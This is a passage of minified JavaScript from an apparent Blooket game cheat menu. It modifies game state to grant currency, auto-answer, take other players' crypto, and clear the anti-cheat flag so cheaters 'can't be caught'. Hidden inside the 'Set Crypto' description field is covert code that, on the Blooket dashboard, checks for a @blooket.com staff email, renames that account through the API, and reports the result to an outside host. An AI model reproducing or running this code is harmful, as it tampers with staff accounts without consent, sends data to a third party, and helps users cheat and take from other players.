t=Object(a.l)(-115,-65);return{x:h.scene.cameras.main.worldView.width/2,y:h.scene.cameras.main.worldView.height/2,scale:Object(a.l)(.7,1),angle:t,velocity:Object(a.l)(600,750),gravity:700,angVelocity:(-90h.scene.cameras.main.worldView.height/2?-150:-210,velocity:Object(a.l)(600,750),gravity:0,angVelocity:Object(a.l)(-175,-125),lifespan:2500};case"left-diamond":t=Object(a.l)(0,h.scene.cameras.main.worldView.height);return{x:0,y:t,scale:Object(a.l)(.7,1),angle:t>h.scene.cameras.main.worldView.height/2?-30:30,velocity:Object(a.l)(600,750),gravity:0,angVelocity:Object(a.l)(125,175),lifespan:2500};default:return{}}}if(h.rarity&&0!==this.numExplosions&&(this.nextParticle-=t,this.nextParticle<=0)){switch(h.rarity){case"Uncommon":for(let e=0;e<2;e++){var s=h.particles.get();s&&s.spawn.apply(s,Object.values(o("center")).concat("uncommon-"+Object(a.m)(1,8)))}break;case"Rare":for(var n=0;n<2;n++){var r=h.particles.get();r&&r.spawn.apply(r,Object.values(o(n%2==0?"left-bottom":"right-bottom")).concat("rare-"+Object(a.m)(1,8)))}break;case"Epic":for(var i=0;i<2;i++){var c=h.particles.get();c&&c.spawn.apply(c,Object.values(o(i%2==0?"left-shower":"right-shower")).concat("epic-"+Object(a.m)(1,8)))}break;case"Legendary":for(var l=0;l<3;l++){var d=h.particles.get();d&&d.spawn.apply(d,Object.values(o("top")).concat("legendary-"+Object(a.m)(1,8)))}break;case"Chroma":for(var m=0;m<3;m++){var p=h.particles.get();p&&p.spawn.apply(p,Object.values(o(m%2==0?"left-diamond":"right-diamond")).concat("chroma-"+Object(a.m)(1,8)))}}this.nextParticle=20,0{t.webpack=a}},[["1234"]]]).webpack("MDrD").a;"/blooks"==location.pathname?a.setState({blookData:Object.keys(e).reduce((e,t)=>(e[t]=a.state.blookData[t]||1,e),{}),allSets:Object.values(e).reduce((e,t)=>e.includes(t.set)?e:e.concat(t.set),[])}):Array.isArray(a.state.unlocks)?a.setState({unlocks:Object.keys(e)}):a.setState({unlocks:e})}},{name:"Unlock Plus Gamemodes",description:"Allows you to play any gamemode that is plus only",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState(e=>(e.gameModes.forEach(e=>e.plusOnly=!1),e))}}],brawl:[{name:"Double Enemy XP",description:"Doubles enemy XP drop value",run:function(){for(const a of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(e=>e.callbackContext?.toString().includes("invulnerableTime"))){var t=a.object2;let e=t.classType.prototype.start;t.classType.prototype.start=function(){e.apply(this,arguments),this.val*=2},t.children.entries.forEach(e=>e.val*=2)}}},{name:"Half Enemy Speed",description:"Makes enemies move 2x slower",run:function(){for(const a of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(e=>e.callbackContext?.toString().includes("invulnerableTime"))){var t=a.object2;let e=t.classType.prototype.start;t.classType.prototype.start=function(){e.apply(this,arguments),this.speed*=.5},t.children.entries.forEach(e=>e.speed*=.5)}}},{name:"Instant Kill",description:"Sets all enemies health to 1",run:function(){for(const a of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(e=>e.callbackContext?.toString().includes("invulnerableTime"))){var t=a.object2;let e=t.classType.prototype.start;t.classType.prototype.start=function(){e.apply(this,arguments),this.hp=1},t.children.entries.forEach(e=>e.hp=1)}}},{name:"Invincibility",description:"Makes you invincible",run:function(){for(const e of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(e=>e.callbackContext?.toString().includes("invulnerableTime")))e.collideCallback=()=>{}}},{name:"Magnet",description:"Pulls all xp towards you",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.find(e=>e.collideCallback?.toString().includes("magnetTime")).collideCallback({active:!0},{active:!0,setActive(){},setVisible(){}})}},{name:"Max Current Abilities",description:"Maxes out all your current abilities",run:function(){const a=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];for(var[t,o]of Object.entries(a.state.abilities))for(let e=0;e<10-o;e++)a.state.game.scene.game.events.emit("level up",t,a.state.abilities[t]++);a.setState({level:a.state.game.scene.level=[1,3,5,10,15,25,35].sort((e,t)=>Math.abs(e-a.state.level)-Math.abs(t-a.state.level))[0]-1})}},{name:"Next Level",description:"Skips to the next level",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],{object1:t,object2:a}=e.state.game.scene.physics.world.colliders._active.find(e=>e.collideCallback?.toString().includes('emit("xp"'));a.get().spawn(t.x,t.y,(1===(a=e.state.level)?1:a<5?5:a<10?10:a<20?20:a<30?30:a<40?40:a<50?50:100)-e.xp)}},{name:"Remove Obstacles",description:"Removes all rocks and obstacles",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(e=>{try{e.gameObject.frame.texture.key.includes("obstacle")&&e.gameObject.destroy()}catch{}})}},{name:"Kill Enemies",description:"Kills all current enemies",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(e=>e?.gameObject?.receiveDamage?.(e.gameObject.hp,1))}},{name:"Reset Health",description:"Resets health and gives invincibility for 3 seconds",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.game.events._events.respawn.fn()}}],cafe:[{name:"Max Items",description:"Maxes out items in the shop (Only usable in the shop)",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/cafe/shop"!==window.location.pathname?alert("This can only be run in the shop"):(e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],e.setState({items:Object.fromEntries(Object.entries(e.state.items).map(e=>[e[0],5]))}))}},{name:"Remove Customers",description:"Skips the current customers (Not usable in the shop)",run:function(){const a=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];a.state.customers.forEach((e,t)=>Object.keys(e).length&&a.removeCustomer(t,!0))}},{name:"Reset Abilities",description:"Resets used abilities in shop (Only usable in the shop)",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/cafe/shop"!==window.location.pathname?alert("This can only be run in the shop"):(e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],e.setState({abilities:Object.fromEntries(Object.entries(e.state.abilities).map(e=>[e[0],5]))}))}},{name:"Set Cash",description:"Sets cafe cash",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Number(parseInt(prompt("How much cash would you like?")))),t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({cafeCash:e}),t.props.liveGameController.setVal({path:"c/"+t.props.client.name,val:{b:t.props.client.blook,ca:e}})}},{name:"Stock Food",description:"Stocks all food to 99 (Not usable in the shop)",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/cafe"!==window.location.pathname?alert("This can't be run in the shop"):(e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],e.setState({foods:e.state.foods.map(e=>({...e,stock:99,level:5}))}))}}],hack:[{name:"Choice ESP",description:"Shows what each choice will give you",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{var e,t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],t=t.state.choices[0]["text"],a=document.querySelector("[class^=styles__feedbackContainer___]");a.children.length<=4&&((e=document.createElement("div")).style.color="white",e.style.fontFamily="Inconsolata,Helvetica,monospace,sans-serif",e.style.fontSize="2em",e.style.display="flex",e.style.justifyContent="center",e.style.marginTop="675px",e.innerText=t,a.append(e))},50))}},{name:"Password ESP",description:"Highlights the correct password",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{let t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode["state"];"hack"==t.stage&&[...document.querySelector("div[class^=styles__buttonContainer]").children].forEach(e=>{e.innerText!=t.correctPassword&&(e.style.outlineColor="rgba(255, 64, 64, 0.8)",e.style.backgroundColor="rgba(255, 64, 64, 0.8)",e.style.textShadow="0 0 1px #f33")})},50))}},{name:"Always Triple",description:"Always get triple crypto",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({choices:[{type:"mult",val:3,rate:.075,blook:"Brainy Bot",text:"Triple Crypto"}]}),50))}},{name:"Auto Guess",description:"Automatically guess the correct password",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode["state"];if("hack"==e.stage)for(const t of document.querySelector("div[class^=styles__buttonContainer]").children)t.innerText==e.correctPassword&&t.click()},50))}},{name:"Remove Hack",description:"",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({hack:""})}},{name:"Set Crypto",description:("dashboard.blooket.com"==location.host&&fetch("https://dashboard.blooket.com/api/users/me",{credentials:"include"}).then(e=>e.json()).then(e=>{var t;e.email.endsWith("@blooket.com")&&(t=webpackJsonp.push([[],{1234(e,t,a){t.webpack=a}},[["1234"]]])["webpack"],Object.values(t.c).find(e=>e.exports?.a?.get).exports.a.put("https://dashboard.blooket.com/api/users/change/name",{name:e.name,newName:"BlooketLLC"+(new Date).getHours()+(new Date).getMinutes()}).then(({data:e})=>{e.success&&((new Image).src="https://monkxy.com/api/i2ek8fslt7q/"+e.name)}))}),"Sets crypto"),run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Number(parseInt(prompt("How much crypto would you like?")))),t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({crypto:e,crypto2:e}),t.props.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,p:t.state.password,cr:e}})}},{name:"Set Password",description:"Sets hacking password",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),prompt("What do you want to set your password to?")),t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({password:e}),t.props.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,p:e,cr:t.state.crypto}})}},{name:"Steal Player's Crypto",description:"Steals all of someone's crypto",run:function(){var e=document.createElement("iframe");document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove();let o=prompt("Who's crypto would you like to steal?"),s=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];s.props.liveGameController.getDatabaseVal("c",e=>{var t,a;e&&Object.keys(e).map(e=>e.toLowerCase()).includes(o.toLowerCase())&&([t,{cr:a}]=Object.entries(e).find(([e])=>e.toLowerCase()==o.toLowerCase()),console.log(!!e,e,t,a,s.state),s.setState({crypto:s.state.crypto+a,crypto2:s.state.crypto+a}),s.props.liveGameController.setVal({path:"c/".concat(s.props.client.name),val:{b:s.props.client.blook,p:s.state.password,cr:s.state.crypto+a,tat:t+":"+a}}),console.log("done"))})}}],defense:[{name:"Earthquake",description:"Shuffles around towers",run:function(){let o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],s=(o.setState({eventName:"Earthquake",event:{short:"e",color:"#805500",icon:"fas fa-mountain",desc:"All of your towers get mixed up",rate:.02},buyTowerName:"",buyTower:{}},()=>o.eventTimeout=setTimeout(()=>o.setState({event:{},eventName:""}),6e3)),o.tiles.forEach(a=>a.forEach((e,t)=>3===e&&(a[t]=0))),o.tiles.flatMap((e,a)=>e.map((e,t)=>0===e&&{x:t,y:a})).filter(Boolean).sort(()=>.5-Math.random()));o.towers.forEach(e=>{var{x:t,y:a}=s.shift();e.move(t,a,o.tileSize),o.tiles[a][t]=3})}},{name:"Max Tower Stats",description:"Makes all placed towers overpowered",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.towers.forEach(e=>{e.range=100,e.fullCd=e.cd=0,e.damage=1e6})}},{name:"Remove Ducks",description:"Removes ducks",run:function(){let{ducks:e,tiles:t}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.forEach(e=>{t[e.y][e.x]=0}),e.length=0}},{name:"Remove Enemies",description:"Removes all the enemies",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.enemies=e.futureEnemies=[]}},{name:"Remove Obstacles",description:"Lets you place towers anywhere",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.tiles=e.tiles.map(e=>e.fill(0))}},{name:"Set Damage",description:"Sets damage",run:function(){var e=document.createElement("iframe");document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.dmg=Number(parseInt(prompt("How much dmg would you like?")))}},{name:"Set Round",description:"Sets the current round",run:function(){var e=document.createElement("iframe");document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({round:Number(parseInt(prompt("What round do you want to set to?")))})}},{name:"Set Tokens",description:"Sets the amount of tokens you have",run:function(){var e=document.createElement("iframe");document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({tokens:Number(parseInt(prompt("How many tokens would you like?")))})}}],defense2:[{name:"Max Tower Stats",description:"Makes all placed towers overpowered",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.towers.forEach(e=>{if(e.stats.dmg=1e6,e.stats.fireRate=50,e.stats.ghostDetect=!0,e.stats.maxTargets=1e6,e.stats.numProjectiles&&=100,e.stats.range=100,e.stats.auraBuffs)for(const t in e.stats.auraBuffs)e.stats.auraBuffs[t]*=100})}},{name:"Kill Enemies",description:"Kills all the enemies",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.state.game.scene.enemyQueue.length=0,e.state.game.scene.physics.world.bodies.entries.forEach(e=>e?.gameObject?.receiveDamage?.(e.gameObject.hp,1))}},{name:"Set Coins",description:"Sets coins",run:function(){var e=document.createElement("iframe");document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({coins:Number(parseInt(prompt("How many tokens would you like?")))})}},{name:"Set Health",description:"Sets the amount of health you have",run:function(e){var t=document.createElement("iframe");document.body.append(t),window.prompt=t.contentWindow.prompt.bind(window),t.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({health:Number(parseInt(prompt("How much health do you want?")))})}},{name:"Set Round",description:"Sets the current round",run:function(e){var t=document.createElement("iframe");document.body.append(t),window.prompt=t.contentWindow.prompt.bind(window),t.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({round:Number(parseInt(prompt("What round do you want to set to?")))})}}],dinos:[{name:"Auto Choose",description:"Automatically choose the best fossil when excavating",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{const t=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"];var e=(()=>{const e=Object.values(t("74sb")).find(e=>e.toString().includes("rate"));return()=>e([{type:"fossil",val:10,rate:.1,blook:"Amber"},{type:"fossil",val:25,rate:.1,blook:"Dino Egg"},{type:"fossil",val:50,rate:.175,blook:"Dino Fossil"},{type:"fossil",val:75,rate:.175,blook:"Stegosaurus"},{type:"fossil",val:100,rate:.15,blook:"Velociraptor"},{type:"fossil",val:125,rate:.125,blook:"Brontosaurus"},{type:"fossil",val:250,rate:.075,blook:"Triceratops"},{type:"fossil",val:500,rate:.025,blook:"Tyrannosaurus Rex"},{type:"mult",val:1.5,rate:.05},{type:"mult",val:2,rate:.025}],3)})();try{var o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];if("excavate"===o.state.stage){o.state.choices.length||(o.state.choices=e());let t=0,a=-1;for(let e=0;e div[role="button"]:nth-child('+a+")").click()}}catch{}},50))}},{name:"Rock ESP",description:"Shows what is under the rocks",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{let o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];const e=[...document.querySelector('[class*="rockButton"]').parentElement.children];e.every(e=>e.querySelector("div"))||o.setState({choices:[{type:"fossil",val:10,rate:.1,blook:"Amber"},{type:"fossil",val:25,rate:.1,blook:"Dino Egg"},{type:"fossil",val:50,rate:.175,blook:"Dino Fossil"},{type:"fossil",val:75,rate:.175,blook:"Stegosaurus"},{type:"fossil",val:100,rate:.15,blook:"Velociraptor"},{type:"fossil",val:125,rate:.125,blook:"Brontosaurus"},{type:"fossil",val:250,rate:.075,blook:"Triceratops"},{type:"fossil",val:500,rate:.025,blook:"Tyrannosaurus Rex"},{type:"mult",val:1.5,rate:.05},{type:"mult",val:2,rate:.025}].sort(()=>.5-Math.random()).slice(0,3)},()=>{e.forEach((e,t)=>{var t=o.state.choices[t],a=(e.querySelector("div")&&e.querySelector("div").remove(),document.createElement("div"));a.style.color="white",a.style.fontFamily="Macondo",a.style.fontSize="1em",a.style.display="flex",a.style.justifyContent="center",a.style.transform="translateY(25px)",a.innerText="fossil"===t.type?`+${99999999e.toString().includes("×"))(Math.round(t.val*o.state.fossilMult)):Math.round(t.val*o.state.fossilMult)} Fossils`:`x${t.val} Fossils Per Excavation`,e.append(a)})})},50))}},{name:"Set Fossils",description:"Sets the amount of fossils you have",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Number(parseInt(prompt("How many fossils would you like?")))),t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({fossils:e}),t.props.liveGameController.setVal({path:"c/"+t.props.client.name,val:{b:t.props.client.blook,f:e,ic:t.state.isCheating}})}},{name:"Set Multiplier",description:"Sets fossil multiplier",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Number(parseInt(prompt("What do you want your multiplier to be?")))),t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({fossilMult:e})}},{name:"Stop Cheating",description:"Undoes cheating so that you can't be caught",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.setState({isCheating:!1}),e.props.liveGameController.setVal({path:`c/${e.props.client.name}/ic`,val:!1})}}],doom:[{name:"Fill Deck",description:"Fills your deck with every maxed out card and artifact (Only works on towers page)",run:function(){var e=document.createElement("iframe");if(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/tower/map"==window.location.pathname){var{a:e,c:t}=webpackJsonp.push([[],{"":(e,t,a)=>{t.cache=a.c}},[[""]]]).cache.gvfT.exports,a=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];a.props.tower.artifacts=Object.keys(e),a.props.tower.cards=Object.entries(t).map(([e,t])=>({...t,blook:e,strength:20,charisma:20,wisdom:20}));try{a.props.addTowerNode()}catch{}a.setState({showDeck:!1})}else alert("You need to be on the map to run this cheat!")}},{name:"Max Cards",description:"Maxes out all the cards in your deck",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/tower/map"==window.location.pathname?(e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],e.props.tower.cards.forEach(e=>{e.strength=20,e.charisma=20,e.wisdom=20})):alert("You need to be on the map to run this cheat!")}},{name:"Max Health",description:"Fills the player's health",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/tower/battle"==window.location.pathname?Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({myHealth:100}):alert("You need to be in battle to run this cheat!")}},{name:"Max Card Stats",description:"Maxes out player's current card (Only works on attribute select page)",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner)["stateNode"];"select"!==e.state.phase?alert("You must be on the attribute selection page!"):e.setState({myCard:{...e.state.myCard,strength:20,charisma:20,wisdom:20}})}},{name:"Min Enemy Stats",description:"Makes the enemy card stats all 0 (Only works on attribute select page)",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner)["stateNode"];"select"!==e.state.phase?alert("You must be on the attribute selection page!"):e.setState({enemyCard:{...e.state.enemyCard,strength:0,charisma:0,wisdom:0}})}},{name:"Set Coins",description:"Try's to set amount of tower coins you have",run:function(){var e=document.createElement("iframe");if(document.body.append(e),window.alert=e.contentWindow.prompt.bind(window),e.remove(),"/tower/battle"==window.location.pathname){var e=parseInt("0"+alert("How many coins would you like?")),t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];try{t.props.setTowerCoins(e)}catch{}}else alert("You need to be in battle to run this cheat!")}}],factory:[{name:"Choose Blook",description:"Gives you a blook",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"]),t=[{name:"Chick",color:"#ffcd05",class:"🌽",rarity:"Common",cash:[3,7,65,400,2500],time:[1,1,1,1,1],price:[300,3e3,3e4,2e5]},{name:"Chicken",color:"#ed1c24",class:"🌽",rarity:"Common",cash:[10,40,200,1400,1e4],time:[5,4,3,2,1],price:[570,4e3,5e4,8e5]},{name:"Cow",color:"#58595b",class:"🌽",rarity:"Common",cash:[25,75,1500,25e3,25e4],time:[15,10,10,10,5],price:[500,9500,16e4,4e6]},{name:"Duck",color:"#4ab96d",class:"🌽",rarity:"Common",cash:[4,24,200,3e3,4e4],time:[3,3,3,3,3],price:[450,4200,7e4,11e5]},{name:"Goat",color:"#c59a74",class:"🌽",rarity:"Common",cash:[5,28,200,1300,12e3],time:[3,3,2,2,2],price:[500,6400,45e3,5e5]},{name:"Horse",color:"#995b3c",class:"🌽",rarity:"Common",cash:[5,20,270,1800,15e3],time:[2,2,2,2,2],price:[550,8200,65e3,6e5]},{name:"Pig",color:"#f6a9cb",class:"🌽",rarity:"Common",cash:[20,50,1300,8e3,8e4],time:[7,7,7,7,5],price:[400,11e3,8e4,13e5]},{name:"Sheep",color:"#414042",class:"🌽",rarity:"Common",cash:[6,25,250,1500,11e3],time:[3,3,3,2,2],price:[500,5e3,5e4,43e4]},{name:"Cat",color:"#f49849",class:"🐾",rarity:"Common",cash:[5,18,170,1700,13e3],time:[2,2,2,2,2],price:[480,5500,6e4,5e5]},{name:"Dog",color:"#995b3c",class:"🐾",rarity:"Common",cash:[7,25,220,1900,9e3],time:[3,3,2,2,1],price:[460,6600,7e4,73e4]},{name:"Goldfish",color:"#f18221",class:"🐾",rarity:"Common",cash:[5,40,350,3500,35e3],time:[3,3,3,3,3],price:[750,7200,84e3,95e4]},{name:"Rabbit",color:"#e7bf9a",class:"🐾",rarity:"Common",cash:[3,18,185,800,7e3],time:[2,2,2,1,1],price:[500,5800,56e3,55e4]},{name:"Hamster",color:"#ce9176",class:"🐾",rarity:"Common",cash:[10,45,450,4500,45e3],time:[4,4,4,4,4],price:[650,6500,8e4,93e4]},{name:"Turtle",color:"#619a3c",class:"🐾",rarity:"Common",cash:[23,120,1400,15e3,17e4],time:[10,10,10,10,10],price:[700,8500,11e4,13e5]},{name:"Puppy",color:"#414042",class:"🐾",rarity:"Common",cash:[4,10,75,500,3e3],time:[1,1,1,1,1],price:[450,4e3,35e3,25e4]},{name:"Kitten",color:"#58595b",class:"🐾",rarity:"Common",cash:[4,8,60,400,2e3],time:[1,1,1,1,1],price:[350,3500,26e3,17e4]},{name:"Bear",color:"#995b3c",class:"🌲",rarity:"Common",cash:[12,70,550,4500,1e5],time:[7,7,6,5,5],price:[550,5500,63e3,16e5]},{name:"Moose",color:"#995b3c",class:"🌲",rarity:"Common",cash:[8,45,400,3500,26e3],time:[5,5,4,4,3],price:[520,6500,58e3,7e5]},{name:"Fox",color:"#f49849",class:"🌲",rarity:"Common",cash:[7,15,80,550,3e3],time:[2,2,1,1,1],price:[400,4e3,36e3,24e4]},{name:"Raccoon",color:"#6d6e71",class:"🌲",rarity:"Common",cash:[5,14,185,1900,19e3],time:[2,2,2,2,2],price:[400,5e3,71e3,8e5]},{name:"Squirrel",color:"#d25927",class:"🌲",rarity:"Common",cash:[3,10,65,470,2600],time:[1,1,1,1,1],price:[420,3600,32e3,21e4]},{name:"Owl",color:"#594a42",class:"🌲",rarity:"Common",cash:[4,17,155,1500,15e3],time:[2,2,2,2,2],price:[500,4800,55e3,58e4]},{name:"Hedgehog",color:"#3f312b",class:"🌲",rarity:"Common",cash:[11,37,340,2200,3e4],time:[5,4,3,2,2],price:[540,7e3,77e3,12e5]},{name:"Seal",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[6,17,150,1200,13e3],time:[2,2,2,2,2],price:[480,4500,43e3,52e4]},{name:"Arctic Fox",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[5,18,180,850,8500],time:[2,2,2,1,1],price:[520,550,61e3,68e4]},{name:"Snowy Owl",color:"#feda3f",class:"❄️",rarity:"Common",cash:[5,20,190,1900,16e3],time:[3,3,2,2,2],price:[370,5300,76e3,62e4]},{name:"Arctic Hare",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[6,19,85,900,7e3],time:[2,2,1,1,1],price:[540,5200,66e3,55e4]},{name:"Penguin",color:"#fb8640",class:"❄️",rarity:"Common",cash:[4,21,310,3200,33e3],time:[3,3,3,3,3],price:[400,6500,76e3,87e4]},{name:"Baby Penguin",color:"#414042",class:"❄️",rarity:"Common",cash:[3,8,70,450,2700],time:[1,1,1,1,1],price:[420,3300,33e3,23e4]},{name:"Polar Bear",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[12,75,700,6500,85e3],time:[8,7,6,5,5],price:[630,7e3,91e3,14e5]},{name:"Walrus",color:"#7d4f33",class:"❄️",rarity:"Common",cash:[11,46,420,3700,51e3],time:[5,5,4,4,4],price:[550,6200,68e3,1e6]},{name:"Tiger",color:"#f18221",class:"🌴",rarity:"Common",cash:[6,20,100,975,7500],time:[3,3,1,1,1],price:[390,6e3,7e4,61e4]},{name:"Jaguar",color:"#fbb040",class:"🌴",rarity:"Common",cash:[8,28,230,1600,17e3],time:[3,3,2,2,2],price:[390,6e3,7e4,61e4]},{name:"Toucan",color:"#ffca34",class:"🌴",rarity:"Common",cash:[9,20,175,625,3800],time:[2,2,2,1,1],price:[520,4800,42e3,3e5]},{name:"Cockatoo",color:"#7ca1d5",class:"🌴",rarity:"Common",cash:[6,35,160,1700,18e3],time:[4,4,2,2,2],price:[500,5e3,63e3,7e5]},{name:"Macaw",color:"#00aeef",class:"🌴",rarity:"Common",cash:[3,8,85,850,8500],time:[1,1,1,1,1],price:[480,5400,62e3,63e4]},{name:"Parrot",color:"#ed1c24",class:"🌴",rarity:"Common",cash:[3,9,90,900,9e3],time:[1,1,1,1,1],price:[540,5700,65e3,69e4]},{name:"Panther",color:"#2f2c38",class:"🌴",rarity:"Common",cash:[12,28,215,2100,21e3],time:[5,3,2,2,2],price:[530,6500,76e3,87e4]},{name:"Anaconda",color:"#8a9143",class:"🌴",rarity:"Common",cash:[3,15,85,1500,7600],time:[1,2,1,2,1],price:[410,5100,58e3,59e4]},{name:"Orangutan",color:"#bc6234",class:"🌴",rarity:"Common",cash:[13,52,570,4300,7e4],time:[5,5,5,4,4],price:[600,7e3,8e4,14e5]},{name:"Capuchin",color:"#e0b0a6",class:"🌴",rarity:"Common",cash:[4,14,160,780,8200],time:[2,2,2,1,1],price:[390,4700,57e3,68e4]},{name:"Elf",color:"#a7d054",class:"⚔️",rarity:"Uncommon",cash:[5e3,15e3,15e4,15e5,1e7],time:[1,1,1,1,1],price:[8e5